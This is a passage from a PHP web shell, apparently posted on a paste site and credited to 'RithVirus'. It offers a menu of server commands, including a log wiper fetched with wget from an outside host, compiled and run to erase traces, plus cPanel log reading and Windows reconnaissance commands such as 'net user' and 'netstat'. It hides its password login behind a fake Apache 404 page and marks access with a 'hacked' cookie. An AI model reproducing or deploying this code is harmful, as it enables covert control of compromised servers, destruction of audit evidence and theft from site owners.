  5007.      <OPTION VALUE="wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
  5008.      <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
  5009.      <OPTION VALUE="./zap2">WIPELOGS PT3
  5010.          <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
  5011.  </SELECT>
  5012.  <?php
  5013.     } else {
  5014. ?>
  5015.  <SELECT NAME="mycmd" class="box">
  5016.         <OPTION VALUE="dir /s /w /b *config*.php">Find *config*.php in current directory
  5017.         <OPTION VALUE="dir /s /w /b index.php">Find index.php in current dir
  5018.         <OPTION VALUE="systeminfo">System Informations
  5019.         <OPTION VALUE="net user">User accounts
  5020.     <OPTION VALUE="netstat -an">Open ports
  5021.         <OPTION VALUE="getmac">Get Mac Address
  5022.         <OPTION VALUE="net start">Show running services
  5023.         <OPTION VALUE="net view">Show computers
  5024.         <OPTION VALUE="arp -a">ARP Table
  5025.         <OPTION VALUE="tasklist">Show Process
  5026.         <OPTION VALUE="ipconfig/all">IP Configuration
  5027.  </SELECT>
  5028.  <?php
  5029.     }
  5030. ?>
  5031. <input type="submit" value="Execute" class="but" name="executecmd">
  5032. </form>
  5033. </td>
  5034. </tr></table><br>
  5035. </td>
  5036. </tr>
  5037. </table>
  5038. <?php
  5039.     //logout
  5040.     if (isset($_GET['logout'])) {
  5041.         setcookie("hacked", time() - 60 * 60);
  5042.         header("Location:$self");
  5043.         ob_end_flush();
  5044.     }
  5045. ?>
  5046. <hr color="#1B1B1B">
  5047. <div align="center">
  5048. <span class=headtitle><span class=headtitle><font size="3" face="Iceland">Copyrights&copy;2016 RithVirus</font></span><br></div>
  5049. <?php
  5050. }
  5051. if (isset($_POST['passwd'])) {
  5052.     if ($_POST['passwd'] == $pass) {
  5053.         setcookie("hacked", md5($pass));
  5054.         $selfenter = $_SERVER["PHP_SELF"];
  5055.         header("Location:$selfenter");
  5056.     } else {
  5057.         echo"<center><img src='http://mfs1.cdnsw.com/fs/Nouveau_dossier/6qyet-alarme.gif'   height='150px' width='150px'/></center><br><audio autoplay loop > <source src=\"http://soundbible.com/mp3/Red%20Alert-SoundBible.com-108009997.mp3\" type=\"audio/mpeg\"></audio>";
  5058.     }
  5059. }
  5060. if ((!isset($_COOKIE['hacked']) || $_COOKIE['hacked'] != md5($pass))) {
  5061. ?>
  5062. <body bgcolor="#FFFFFF">
  5063. <h1 style="color:#000000">Not Found</h1>
  5064. <p style="color:#000000">The requested URL was not found on this server.</p>
  5065. <p style="color:#000000" >Additionally, a 404 Not Found
  5066. error was encountered while trying to use an ErrorDocument to handle the request.</p>
  5067. <hr>
  5068. <address style="color:#000000">Apache Server at localhost Port 80</address>
  5069.     <style>
  5070.         input { margin:0;background-color:#fff;border:1px solid #fff; }
  5071.     </style>
  5072.     <center>
  5073.     <form method=post>
  5074.     <input type=password name=passwd>
  5075.     </form></center>
  5076. </body>
  5077. </html>
  5078. <?php
  5079. }
  5080. ?>
Add Comment
Please, Sign In to add comment